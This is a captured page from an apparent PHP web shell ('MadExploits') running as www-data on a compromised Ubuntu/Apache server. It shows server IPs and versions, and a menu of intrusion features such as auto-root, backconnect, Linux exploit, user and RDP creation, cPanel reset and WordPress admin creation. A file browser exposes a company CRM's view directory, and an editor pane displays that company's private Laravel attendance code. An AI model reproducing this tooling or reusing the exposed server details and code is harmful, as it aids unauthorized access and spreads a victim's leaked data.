Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.70.111.34
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
resources /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
admin
[ DIR ]
drwxr-xr-x
auth
[ DIR ]
drwxr-xr-x
email
[ DIR ]
drwxr-xr-x
errors
[ DIR ]
drwxr-xr-x
front
[ DIR ]
drwxr-xr-x
layouts
[ DIR ]
drwxr-xr-x
pages
[ DIR ]
drwxr-xr-x
panels
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
home.blade.php
650
B
-rw-r--r--
welcome.blade.php
4.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : welcome.blade.php
public function getAttendance() { $users = User::where('status', 'active')->get(); $this->zkService = new ZKTecoService(); if ($this->zkService->connect()) { $attendanceRecords = $this->zkService->getTodayAttendance(); $lastRecords = collect($attendanceRecords) ->groupBy('id') ->map(function ($userRecords) { return $userRecords->sortByDesc('timestamp')->first(); }); foreach ($lastRecords as $record) { //if ($record['id'] == '1504') { $user = User::where('user_code', 'NT-00' . $record['id'])->where('status', 'active')->first(); if (!$user) { $user = User::where('user_code', 'NT-000' . $record['id'])->where('status', 'active')->first(); } if (!$user) { $user = User::where('user_code', 'NT-0' . $record['id'])->where('status', 'active')->first(); } if ($user) { $timestamp = Carbon::parse($record['timestamp']); $timeWithAmPm = $timestamp->format('h:i A'); // Retrieve shift details $shift = \Illuminate\Support\Facades\DB::table('shift_times')->where('id', $user->shift_time)->first(); $shiftStart = Carbon::parse($shift->checkin); // Example: 8:00 PM $shiftEnd = Carbon::parse($shift->checkout); // Example: 5:00 AM (next day) // Step 1: Determine if this is an overnight shift (end time is "earlier" than start time in 12-hour format) $isOvernightShift = $shiftEnd->lessThan($shiftStart); // Step 2: Adjust the shift end time for overnight shifts by adding a day if ($isOvernightShift) { $shiftEnd->addDay(); // Move shift end to the next day (5:00 AM on the next day) } // Step 3: Align the dates of both shift start, shift end, and user checkout for accurate comparison $allowedCheckoutTime = $shiftEnd->copy()->addHours(3); // Step 4: Check if the checkout time is after the adjusted shift end for overnight shifts only $secondaryAllowedCheckoutTime = $allowedCheckoutTime->copy()->addDay(); // Check if the user checked out within either the primary or secondary allowed time window $isAfterMidnightCheckout = $isOvernightShift && $timestamp->greaterThan($shiftEnd) && ($timestamp->lessThanOrEqualTo($allowedCheckoutTime) || $timestamp->lessThanOrEqualTo($secondaryAllowedCheckoutTime)); if ($isAfterMidnightCheckout) { echo 'das';exit; // Use the previous day's date for attendance records $previousDate = Carbon::yesterday()->toDateString();; // Find open check-in record from the previous day $existingAttendance = Attendance::where('user_id', $user->id) ->where('date', $previousDate) ->where('status', 1) ->whereNull('checkout') // Open check-in with no checkout ->first(); if ($existingAttendance) { // Checkout is within the valid range (close to shift end after midnight) $this->handleCheckOut($shift->checkin, $shift->checkout, $existingAttendance, $timestamp, $timeWithAmPm, $record['uid'], $timestamp); }else{ $currentDate = $timestamp->format('Y-m-d'); print_r($currentDate);exit; $allowedCheckInStart = Carbon::parse($shift->checkin)->subHours(3); if ($timestamp->greaterThanOrEqualTo($allowedCheckInStart) ) { // Handle new check-in within the allowed time window $this->handleCheckIn($shift->checkin, $user, $timeWithAmPm, $currentDate, $record['uid']); } } } else { // Regular logic for handling same-day or overnight shifts $currentDate = $timestamp->format('Y-m-d'); $existingCheckIn = Attendance::where('user_id', $user->id) ->where('date', $currentDate) ->where('status', 1) ->first(); $allowedCheckInStart = Carbon::parse($shift->checkin)->subHours(3); if (!$existingCheckIn) { if ($timestamp->greaterThanOrEqualTo($allowedCheckInStart) ) { // Handle new check-in within the allowed time window $this->handleCheckIn($shift->checkin, $user, $timeWithAmPm, $currentDate, $record['uid']); } else { // Optional: You can handle cases where check-in is too early here // Example: Log an error, or ignore the check-in } } elseif ($record['uid'] != $existingCheckIn->checkin_id && $existingCheckIn->checkout_id === null) { // Handle existing check-in with no checkout $this->handleCheckOut($shift->checkin, $shift->checkout, $existingCheckIn, $timestamp, $timeWithAmPm, $record['uid'], $shiftEnd); } } } // } } exit; } else { // Handle connection failure } }
Close